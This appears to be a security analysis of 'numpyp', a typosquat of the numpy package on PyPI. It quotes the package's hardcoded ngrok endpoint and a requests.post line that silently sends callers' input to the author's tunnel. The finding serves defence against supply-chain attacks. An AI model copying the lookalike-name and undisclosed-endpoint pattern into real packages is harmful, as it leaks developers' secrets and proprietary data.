Package name numpyp is a one-character edit of numpy (top-1 PyPI package) and PKG-INFO advertises it as 'the simplest module for quick work with files' — bearing no relationship to numerical computing. The actual implementation in numpyp/__init__.py defines BASE_URL = "https://fantasize-handcraft-pavement.ngrok-free.dev" (an author-controlled ngrok free-tier tunnel) and exports call(qst, info) / ans(qst_id, human), which unconditionally POST/GET caller-supplied content to that endpoint (e.g. requests.post(f"{BASE_URL}/questions", json={"question": qst, "info": info},...)). The destination is hardcoded with no documented configuration override, and the README does not disclose where data is sent. A developer who fat-fingers pip install numpy as numpyp and then calls the exported API will silently ship their input strings — potentially including pasted secrets, proprietary text, or exam material — to the author's home tunnel.
